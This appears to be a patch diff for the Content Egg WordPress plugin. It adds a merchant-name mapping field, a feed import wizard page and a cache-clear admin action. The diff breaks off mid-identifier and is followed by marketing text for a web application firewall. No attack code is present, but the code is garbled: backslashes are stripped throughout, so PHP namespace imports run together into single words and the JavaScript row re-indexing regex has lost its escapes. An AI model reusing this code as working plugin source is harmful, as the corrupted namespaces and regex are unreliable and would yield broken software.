@@ -1635,6 +1650,131 @@
         return $results;
     }

+    public function render_merchant_names_block($args)
+    {
+        if (is_array($args['value']))
+            $total = count($args['value']) + 1;
+        else
+            $total = 1;
+
+        $prefix = esc_attr($args['option_name']) . '[' . esc_attr($args['name']) . ']';
+
+        echo '<div id="cegg-merchant-names">';
+        echo '<div class="cegg-mn-rows">';
+        for ($i = 0; $i < $total; $i++)
+        {
+            $domain = isset($args['value'][$i]['domain']) ? $args['value'][$i]['domain'] : '';
+            $name = isset($args['value'][$i]['name']) ? $args['value'][$i]['name'] : '';
+
+            echo '<div class="cegg-mn-row" style="margin-bottom: 5px;">';
+            echo '<input name="' . $prefix . '[' . esc_attr($i) . '][domain]" value="' . esc_attr($domain)
+                . '" class="regular-text ltr" placeholder="' . esc_attr(__('Domain name, e.g. amazon.com', 'content-egg')) . '" type="text" spellcheck="false" autocorrect="off" autocapitalize="off" autocomplete="off" />';
+            echo ' → ';
+            echo '<input name="' . $prefix . '[' . esc_attr($i) . '][name]" value="' . esc_attr($name)
+                . '" class="regular-text ltr" placeholder="' . esc_attr(__('Merchant name, e.g. Amazon', 'content-egg')) . '" type="text" spellcheck="false" autocorrect="off" autocapitalize="off" autocomplete="off" />';
+            echo '</div>';
+        }
+        echo '</div>'; // .cegg-mn-rows
+
+        echo '<p><button type="button" class="button cegg-mn-add">' . esc_html(__('+ Add merchant', 'content-egg')) . '</button></p>';
+
+        if ($args['description'])
+            echo '<p class="description">' . esc_html($args['description']) . '</p>';
+
+        echo '</div>'; // #cegg-merchant-names
+?>
+        <script type="text/javascript">
+            (function () {
+                var wrap = document.getElementById('cegg-merchant-names');
+                if (!wrap || wrap.dataset.ceggInit) return;
+                wrap.dataset.ceggInit = '1';
+
+                var rows = wrap.querySelector('.cegg-mn-rows');
+                var addBtn = wrap.querySelector('.cegg-mn-add');
+                var next = rows.querySelectorAll('.cegg-mn-row').length;
+
+                addBtn.addEventListener('click', function (e) {
+                    e.preventDefault();
+                    var all = rows.querySelectorAll('.cegg-mn-row');
+                    var clone = all[all.length - 1].cloneNode(true);
+                    clone.querySelectorAll('input').forEach(function (input) {
+                        input.value = '';
+                        // Re-index so each row posts as a distinct array entry
+                        input.name = input.name.replace(/[d+][(domain|name)]$/, '[' + next + '][$1]');
+                    });
+                    rows.appendChild(clone);
+                    next++;
+                    var first = clone.querySelector('input');
+                    if (first) first.focus();
+                });
+            })();
+        </script>
+<?php
+    }
+
+    public function formatMerchantNames($values)
+    {
+        $results = array();
+
+        if (!is_array($values))
+            return $results;
+
+        foreach ($values as $value)
+        {
+            if (!is_array($value))
+                continue;
+
+            $domain = isset($value['domain']) ? $value['domain'] : '';
+            $name = isset($value['name']) ? $value['name'] : '';
+
+            if ($host = TextHelper::getHostName($domain))
+                $domain = $host;
+            else
+                $domain = strtolower(trim(sanitize_text_field($domain)));
+
+            $name = trim(wp_strip_all_tags((string) $name));
+
+            if (!$domain || !$name)
+                continue;
+
+            if (in_array($domain, array_column($results, 'domain')))
+                continue;
+
+            $results[] = array('domain' => $domain, 'name' => $name);
+        }
+
+        return $results;
+    }
+
+    /**
+     * Mapped display name for a shop domain, from the "Merchant Names" block,
+     * or '' when there is no mapping. Cached per request (mirrors TemplateHelper::getShopInfo()).
+     */
+    public static function getMappedMerchantName($domain)
+    {
+        static $map = null;
+
+        if ($map === null)
+        {
+            $map = array();
+            $rows = self::getInstance()->option('merchant_names');
+            if (is_array($rows))
+            {
+                foreach ($rows as $row)
+                {
+                    if (empty($row['domain']) || !isset($row['name']) || $row['name'] === '')
+                        continue;
+                    $map[$row['domain']] = $row['name'];
+                }
+            }
+        }
+
+        if (!$domain)
+            return '';
+
+        return isset($map[$domain]) ? $map[$domain] : '';
+    }
+
     public static function isShopInfoAvailable()
     {
         $merchants = GeneralConfig::getInstance()->option('merchants');
--- a/content-egg/application/admin/PluginAdmin.php
+++ b/content-egg/application/admin/PluginAdmin.php
@@ -75,6 +75,7 @@
             GeneralConfig::getInstance()->adminInit();
             ModuleManager::getInstance()->adminInit();
             new ModuleSettingsContoller;
+            new FeedWizardController;
             new ProductImportController;
             new ProductPrefillController;
             new ProductController;
--- a/content-egg/application/admin/ToolsController.php
+++ b/content-egg/application/admin/ToolsController.php
@@ -64,6 +64,7 @@
             'offer-urls-export'       => 'actionOfferUrlsExport',
             'feed-export'             => 'actionFeedDataExport',
             'feed-reset'             => 'actionFeedDataReset',
+            'feed-cache-clear'        => 'actionFeedCacheClear',
             'export-module-settings'  => 'actionExportModuleSettings',
             'import-module-settings'  => 'actionImportModuleSettings',
             'export-plugin-settings'  => 'actionExportPluginSettings',
@@ -227,6 +228,7 @@

         $config = $module->getConfigInstance();
         $is_active = $config->option('is_active');
+        $module->requestForceRefresh();
         $module->refreshFeedData($is_active);

         $redirect_url = admin_url(sprintf('admin.php?page=content-egg-modules--%s', $module_id));
@@ -234,6 +236,32 @@

         AdminHelper::redirect($redirect_url);
     }
+
+    private function actionFeedCacheClear()
+    {
+        if (!current_user_can('administrator'))
+            die('You do not have permission to view this page.');
+
+        if (isset($_GET['module']))
+            $module_id = TextHelper::clear(sanitize_text_field(wp_unslash($_GET['module'])));
+        else
+            die('Module param can not be empty.');
+
+        if (!ModuleManager::getInstance()->moduleExists($module_id))
+            die('The module does not exist.');
+
+        $module = ModuleManager::getInstance()->factory($module_id);
+
+        if (!$module->isFeedModule())
+            die('This module does not support feed cache.');
+
+        $module->feedFileCache()->delete();
+
+        $redirect_url = admin_url(sprintf('admin.php?page=content-egg-modules--%s', $module_id));
+        $redirect_url = AdminNotice::add2Url($redirect_url, 'feed_cache_cleared', 'success');
+
+        AdminHelper::redirect($redirect_url);
+    }

     private static function actionExportModuleSettings()
     {
--- a/content-egg/application/admin/views/auto_import_form.php
+++ b/content-egg/application/admin/views/auto_import_form.php
@@ -116,9 +116,9 @@

             <!-- Sort by newest first -->
             <div class="col-12 col-md-6">
-                <div class="form-check mt-4">
-                    <input class="form-check-input" type="checkbox" id="sort_newest" name="sort_newest" value="1" <?php checked($rule['sort_newest'], 1); ?>>
-                    <label class="form-check-label" for="sort_newest">
+                <div class="mt-4">
+                    <label for="sort_newest">
+                        <input type="checkbox" id="sort_newest" name="sort_newest" value="1" <?php checked($rule['sort_newest'], 1); ?>>
                         <?php esc_html_e('Sort by newest first', 'content-egg'); ?>
                     </label>
                 </div>
--- a/content-egg/application/admin/views/feed_wizard.php
+++ b/content-egg/application/admin/views/feed_wizard.php
@@ -0,0 +1,179 @@
+<?php defined('ABSPATH') || exit; ?>
+
+<div class="wrap">
+    <div class="cegg5-container" id="cegg-feed-wizard" style="max-width: 1140px;">
+
+        <div class="cfw-header mt-4 mb-4">
+            <div>
+                <h2 class="h4 mb-1"><?php esc_html_e('Add a Feed', 'content-egg'); ?></h2>
+                <p class="cfw-subtitle" id="cfw-subtitle"><?php esc_html_e('Paste a product feed URL below — the plugin will try to detect the format, fields and currency automatically.', 'content-egg'); ?></p>
+            </div>
+            <a class="cfw-manual-link" href="<?php echo esc_url(remove_query_arg('wizard')); ?>">
+                <?php esc_html_e('Set up manually', 'content-egg'); ?>
+                <i class="bi bi-arrow-right" aria-hidden="true"></i>
+            </a>
+        </div>
+
+        <!-- Step indicator -->
+        <div class="cfw-stepper mb-4" id="cfw-steps">
+            <div class="cfw-step is-active" data-step="1">
+                <span class="cfw-step-circle">1</span>
+                <span class="cfw-step-label"><?php esc_html_e('Feed URL', 'content-egg'); ?></span>
+            </div>
+            <div class="cfw-step-line"></div>
+            <div class="cfw-step is-upcoming" data-step="2">
+                <span class="cfw-step-circle">2</span>
+                <span class="cfw-step-label"><?php esc_html_e('Field mapping', 'content-egg'); ?></span>
+            </div>
+            <div class="cfw-step-line"></div>
+            <div class="cfw-step is-upcoming" data-step="3">
+                <span class="cfw-step-circle">3</span>
+                <span class="cfw-step-label"><?php esc_html_e('Confirm & import', 'content-egg'); ?></span>
+            </div>
+        </div>
+
+        <!-- Step 1: URL -->
+        <div id="cfw-step-1">
+            <div class="cfw-panel">
+                <div class="cfw-panel-body">
+                    <label for="cfw-url" class="form-label fw-bold"><?php esc_html_e('Feed URL', 'content-egg'); ?></label>
+                    <div class="input-group">
+                        <input type="url" class="form-control" id="cfw-url"
+                            placeholder="https://example.com/products.csv"
+                            aria-describedby="cfw-url-help" />
+                        <button class="btn btn-primary" type="button" id="cfw-analyze" disabled>
+                            <i class="bi bi-search me-1" aria-hidden="true"></i><?php esc_html_e('Analyze feed', 'content-egg'); ?>
+                        </button>
+                    </div>
+                    <div id="cfw-url-help" class="form-text">
+                        <?php esc_html_e('CSV, XML or JSON product feed. ZIP and GZIP archives are supported. The plugin will detect the format and settings automatically.', 'content-egg'); ?>
+                    </div>
+                    <div id="cfw-url-error" class="text-danger small mt-1 d-none">
+                        <?php esc_html_e('Please enter a valid feed URL (starting with http:// or https://).', 'content-egg'); ?>
+                    </div>
+                    <div id="cfw-analyze-progress" class="mt-3 d-none">
+                        <div class="spinner-border spinner-border-sm text-primary me-2" role="status"></div>
+                        <span class="small text-muted"><?php esc_html_e('Downloading a sample and detecting settings…', 'content-egg'); ?></span>
+                    </div>
+                    <div id="cfw-analyze-error" class="alert alert-warning mt-3 d-none"></div>
+                </div>
+            </div>
+        </div>
+
+        <!-- Step 2: Mapping -->
+        <div id="cfw-step-2" class="d-none">
+            <div id="cfw-detected" class="mb-3"></div>
+
+            <div class="row g-4">
+                <div class="col-lg-6">
+                    <div class="cfw-panel h-100">
+                        <div class="cfw-panel-header">
+                            <span><?php esc_html_e('Field mapping', 'content-egg'); ?></span>
+                            <div class="d-flex align-items-center gap-2">
+                                <i class="bi bi-info-circle text-muted d-none" id="cfw-ai-map-info" aria-hidden="true"></i>
+                                <button type="button" class="btn btn-sm btn-outline-primary" id="cfw-ai-map">
+                                    <i class="bi bi-stars me-1" aria-hidden="true"></i><?php esc_html_e('Map with AI', 'content-egg'); ?>
+                                </button>
+                            </div>
+                        </div>
+                        <div class="cfw-panel-body" id="cfw-mapping"></div>
+                    </div>
+                </div>
+                <div class="col-lg-6">
+                    <div class="cfw-panel h-100">
+                        <div class="cfw-panel-header"><?php esc_html_e('Sample data from your feed', 'content-egg'); ?></div>
+                        <div class="cfw-panel-body cfw-panel-body-flush" style="max-height: 520px; overflow: auto;">
+                            <table class="table table-sm table-striped mb-0 small" id="cfw-sample"></table>
+                        </div>
+                    </div>
+                </div>
+            </div>
+
+            <div class="cfw-panel mt-3">
+                <div class="cfw-panel-header"><?php esc_html_e('Product preview (first row, using your mapping)', 'content-egg'); ?></div>
+                <div class="cfw-panel-body" id="cfw-preview"></div>
+            </div>
+
+            <div class="d-flex justify-content-between mt-3">
+                <button type="button" class="btn btn-outline-secondary" id="cfw-back-1"><?php esc_html_e('Back', 'content-egg'); ?></button>
+                <div class="d-flex align-items-center">
+                    <span id="cfw-mapping-error" class="text-danger small me-3 d-none"></span>
+                    <button type="button" class="btn btn-primary" id="cfw-continue-2"><?php esc_html_e('Continue', 'content-egg'); ?></button>
+                </div>
+            </div>
+        </div>
+
+        <!-- Step 3: Confirm & import -->
+        <div id="cfw-step-3" class="d-none">
+            <div class="cfw-panel">
+                <div class="cfw-panel-body">
+                    <div class="row g-4">
+                        <div class="col-md-6">
+                            <label for="cfw-name" class="form-label fw-bold"><?php esc_html_e('Feed name', 'content-egg'); ?></label>
+                            <input type="text" class="form-control" id="cfw-name" />
+
+                            <label for="cfw-interval" class="form-label fw-bold mt-3"><?php esc_html_e('Feed sync interval', 'content-egg'); ?></label>
+                            <select class="form-select" id="cfw-interval">
+                                <option value="3600."><?php esc_html_e('Every 1 hour', 'content-egg'); ?></option>
+                                <option value="10800."><?php esc_html_e('Every 3 hours', 'content-egg'); ?></option>
+                                <option value="21600."><?php esc_html_e('Every 6 hours', 'content-egg'); ?></option>
+                                <option value="43200." selected><?php esc_html_e('Every 12 hours (default)', 'content-egg'); ?></option>
+                                <option value="86400."><?php esc_html_e('Every 1 day', 'content-egg'); ?></option>
+                                <option value="259200."><?php esc_html_e('Every 3 days', 'content-egg'); ?></option>
+                                <option value="604800."><?php esc_html_e('Every 1 week', 'content-egg'); ?></option>
+                            </select>
+
+                            <div class="mt-3">
+                                <label for="cfw-instock">
+                                    <input type="checkbox" id="cfw-instock" checked />
+                                    <?php esc_html_e('Only import in-stock products', 'content-egg'); ?>
+                                </label>
+                            </div>
+                        </div>
+                        <div class="col-md-6">
+                            <div class="fw-bold mb-2"><?php esc_html_e('Summary', 'content-egg'); ?></div>
+                            <ul class="list-unstyled small" id="cfw-summary"></ul>
+                        </div>
+                    </div>
+                </div>
+            </div>
+
+            <div class="d-flex justify-content-between mt-3" id="cfw-finish-row">
+                <button type="button" class="btn btn-outline-secondary" id="cfw-back-2"><?php esc_html_e('Back', 'content-egg'); ?></button>
+                <button type="button" class="btn btn-success" id="cfw-finish">
+                    <i class="bi bi-check2-circle me-1" aria-hidden="true"></i><?php esc_html_e('Save & import products', 'content-egg'); ?>
+                </button>
+            </div>
+
+            <div class="cfw-panel mt-3 d-none" id="cfw-progress">
+                <div class="cfw-panel-body text-center py-4">
+                    <div id="cfw-progress-running">
+                        <div class="spinner-border text-primary mb-3" role="status"></div>
+                        <div class="fw-bold" id="cfw-progress-label"><?php esc_html_e('Importing products…', 'content-egg'); ?></div>
+                        <div class="cfw-progress-track mx-auto mt-3 d-none" id="cfw-progress-track" style="max-width: 320px;">
+                            <div class="cfw-progress-fill" id="cfw-progress-fill"></div>
+                        </div>
+                        <div class="text-muted small mt-2 d-none" id="cfw-progress-pct"></div>
+                        <div class="text-muted small mt-1" id="cfw-progress-rows"></div>
+                    </div>
+                    <div id="cfw-progress-done" class="d-none">
+                        <i class="bi bi-check-circle text-success" style="font-size: 2.5rem;" aria-hidden="true"></i>
+                        <div class="fw-bold mt-2" id="cfw-done-label"></div>
+                        <div class="mt-3">
+                            <a href="#" class="btn btn-primary me-2" id="cfw-done-settings"><?php esc_html_e('Module settings', 'content-egg'); ?></a>
+                            <a href="#" class="btn btn-outline-primary" id="cfw-done-post"><?php esc_html_e('Create a post', 'content-egg'); ?></a>
+                        </div>
+                    </div>
+                    <div id="cfw-progress-failed" class="d-none">
+                        <i class="bi bi-x-circle text-danger" style="font-size: 2.5rem;" aria-hidden="true"></i>
+                        <div class="fw-bold mt-2 text-danger" id="cfw-failed-label"></div>
+                        <div class="mt-3">
+                            <button type="button" class="btn btn-outline-secondary" id="cfw-failed-back"><?php esc_html_e('Back to mapping', 'content-egg'); ?></button>
+                        </div>
+                    </div>
+                </div>
+            </div>
+        </div>
+
+    </div>
+</div>
--- a/content-egg/application/admin/views/metabox_module.php
+++ b/content-egg/application/admin/views/metabox_module.php
@@ -94,7 +94,7 @@

                     </div>

-                    <?php if ($module->isFeedModule() && $module->isImportTime()) : ?>
+                    <?php if ($module->isFeedModule() && !$module->getProductCount()) : ?>
                         <img ng-show="models.<?php echo esc_attr($module_id); ?>.processing" src="<?php echo esc_url(ContentEggPLUGIN_RES) . '/img/importing.gif' ?>" />
                         <span class="small" ng-show="models.<?php echo esc_attr($module_id); ?>.processing">
                             <?php esc_html_e('Loading data feed... Please wait...', 'content-egg'); ?>
--- a/content-egg/application/admin/views/module_index.php
+++ b/content-egg/application/admin/views/module_index.php
@@ -168,7 +168,7 @@

                     <p class="py-2">
                         <?php if ($add_feed = ContentEggapplicationhelpersAdminHelper::getAddNewFeedModule()) : ?>
-                            <a class="btn btn-outline-primary btn-sm cegg-section-btn d-inline-flex align-items-center justify-content-center" href="?page=<?php echo esc_attr($add_feed->getConfigInstance()->page_slug()); ?>">
+                            <a class="btn btn-outline-primary btn-sm cegg-section-btn d-inline-flex align-items-center justify-content-center" href="?page=<?php echo esc_attr($add_feed->getConfigInstance()->page_slug()); ?>&wizard=1">
                                 <i class="bi bi-database-add me-1" aria-hidden="true"></i><?php esc_html_e('Add a feed', 'content-egg'); ?>
                             </a>
                         <?php else : ?>
--- a/content-egg/application/admin/views/module_settings.php
+++ b/content-egg/application/admin/views/module_settings.php
@@ -138,6 +138,34 @@
                                             <span class="cegg-badge <?php echo esc_attr($status_class); ?>"><?php echo esc_html($status_label); ?></span>
                                         </li>
                                     <?php endif; ?>
+                                    <?php if ($is_import_in_progress) :
+                                        $import_progress = $module->importStatus()->get();
+                                        if (!empty($import_progress['rows_read'])) : ?>
+                                            <li>
+                                                <span><?php esc_html_e('Rows processed', 'content-egg'); ?></span>
+                                                <span class="cegg-stats__value"><?php echo esc_html(number_format_i18n((int) $import_progress['rows_read'])); ?></span>
+                                            </li>
+                                    <?php endif;
+                                    endif; ?>
+                                    <?php
+                                    $feed_cache = $module->feedFileCache();
+                                    if ($feed_cache->exists()) :
+                                        $cache_clear_url = wp_nonce_url(
+                                            add_query_arg([
+                                                'action' => 'feed-cache-clear',
+                                                'module' => rawurlencode($module->getId()),
+                                            ], $tools_page_url),
+                                            'cegg_feed-cache-clear'
+                                        );
+                                    ?>
+                                        <li>
+                                            <span><?php esc_html_e('Cached feed file', 'content-egg'); ?></span>
+                                            <span class="cegg-stats__value">
+                                                <?php echo esc_html(size_format($feed_cache->size())); ?>
+                                                · <a href="<?php echo esc_url($cache_clear_url); ?>"><?php esc_html_e('Clear', 'content-egg'); ?></a>
+                                            </span>
+                                        </li>
+                                    <?php endif; ?>
                                 </ul>

                                 <?php if ($is_import_in_progress) : ?>
--- a/content-egg/application/admin/views/prefill_config.php
+++ b/content-egg/application/admin/views/prefill_config.php
@@ -131,15 +131,14 @@
                         <div class="row">
                             <?php foreach ($modules as $module_id => $module_name) : ?>
                                 <div class="col-md-4 mb-1">
-                                    <div class="form-check">
-                                        <input
-                                            class="form-check-input"
-                                            type="checkbox"
-                                            name="modules[]"
-                                            value="<?php echo esc_attr($module_id); ?>"
-                                            id="module_<?php echo esc_attr($module_id); ?>"
-                                            <?php checked(in_array($module_id, $selected_modules, true)); ?>>
-                                        <label class="form-check-label" for="module_<?php echo esc_attr($module_id); ?>">
+                                    <div>
+                                        <label for="module_<?php echo esc_attr($module_id); ?>">
+                                            <input
+                                                type="checkbox"
+                                                name="modules[]"
+                                                value="<?php echo esc_attr($module_id); ?>"
+                                                id="module_<?php echo esc_attr($module_id); ?>"
+                                                <?php checked(in_array($module_id, $selected_modules, true)); ?>>
                                             <?php echo esc_html($module_name); ?>
                                         </label>
                                     </div>
@@ -260,9 +259,11 @@
             <tr>
                 <th scope="row"><label for="ai_relevance_check"><?php esc_html_e('AI Relevance Check', 'content-egg'); ?></label></th>
                 <td>
-                    <div class="form-check">
-                        <input class="form-check-input" type="checkbox" id="ai_relevance_check" name="ai_relevance_check" value="1" <?php checked($ai_relevance_check); ?>>
-                        <label class="form-check-label" for="ai_relevance_check"><?php esc_html_e('Enable AI-powered relevance checking for products based on the post title and content.', 'content-egg'); ?></label>
+                    <div>
+                        <label for="ai_relevance_check">
+                            <input type="checkbox" id="ai_relevance_check" name="ai_relevance_check" value="1" <?php checked($ai_relevance_check); ?>>
+                            <?php esc_html_e('Enable AI-powered relevance checking for products based on the post title and content.', 'content-egg'); ?>
+                        </label>
                         <div class="small text-muted mt-1"><?php esc_html_e('If enabled, products will be filtered by AI to improve relevance.', 'content-egg'); ?></div>
                         <?php echo wp_kses_post($ai_warning); ?>
                     </div>
--- a/content-egg/application/components/AffiliateFeedParserModule.php
+++ b/content-egg/application/components/AffiliateFeedParserModule.php
@@ -5,9 +5,13 @@
 defined('ABSPATH') || exit;

 use ContentEggapplicationhelpersTemplateHelper;
+use ContentEggapplicationcomponentsfeedFeedFileCache;
+use ContentEggapplicationcomponentsfeedFeedImportPendingException;
+use ContentEggapplicationcomponentsfeedFeedImportStatus;
 use ContentEggapplicationcomponentsModuleManager;
 use ContentEggapplicationhelpersCsvReader;
 use ContentEggapplicationhelpersCsvSettingsDetector;
+use ContentEggapplicationhelpersJsonStreamReader;
 use ContentEggapplicationhelpersTextHelper;
 use ContentEggapplicationPlugin;

@@ -31,12 +35,22 @@
     const DATAFEED_DIR_NAME = 'cegg-datafeeds';
     const TRANSIENT_LAST_IMPORT_ERROR = 'cegg_last_import_error_';

+    /** Wizard-analysis ZIP prefetch: long enough to review the mapping step, short enough to bound disk use if abandoned. */
+    const PREFETCH_TTL = 900;
+
+    /** ActionScheduler group for feed-import events; matches MaintenanceCron's convention of a shared group name. */
+    const AS_GROUP = 'content-egg';
+
     /** Bump whenever any feed product table schema (base or per-network override) changes. */
     const SCHEMA_VERSION = '3';

     protected $rmdir;
     protected $product_model;
     protected $product_node;
+    protected $import_status;
+
+    /** Tracks the feed file currently being processed so fatalHandler() can remove it on a PHP fatal error. */
+    protected $current_file;

     abstract public function getProductModel();

@@ -53,6 +67,190 @@
         add_action('cegg_' . $this->getId() . '_init_products', array(get_called_class(), 'initProducts'), 10, 1);
     }

+    public function importStatus(): FeedImportStatus
+    {
+        if ($this->import_status === null)
+        {
+            $this->import_status = new FeedImportStatus($this->getId());
+        }
+
+        return $this->import_status;
+    }
+
+    /**
+     * Single time budget for download + parse, in seconds.
+     */
+    public function importTimeLimit(): int
+    {
+        return (int) apply_filters('cegg_feed_import_time_limit', 900, $this->getId());
+    }
+
+    public function feedFileCache(): FeedFileCache
+    {
+        return new FeedFileCache($this->getId(), $this->getDatafeedDir());
+    }
+
+    /**
+     * Fingerprint of the module settings; a change (mapping, format, filters…)
+     * invalidates the unchanged-feed delta shortcut.
+     */
+    public function feedOptionsHash(): string
+    {
+        $options = get_option($this->getConfigInstance()->option_name(), array());
+
+        return md5(serialize($options));
+    }
+
+    /**
+     * One-shot flag set by "Reload Feed Data Now": the next import bypasses
+     * the cache freshness window (a 304 revalidation still applies).
+     */
+    public function requestForceRefresh(): void
+    {
+        update_option('cegg_feed_force_refresh_' . strtolower($this->getId()), 1, false);
+    }
+
+    protected function consumeForceRefresh(): bool
+    {
+        $option = 'cegg_feed_force_refresh_' . strtolower($this->getId());
+
+        if (get_option($option))
+        {
+            delete_option($option);
+
+            return true;
+        }
+
+        return false;
+    }
+
+    public function prefet

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.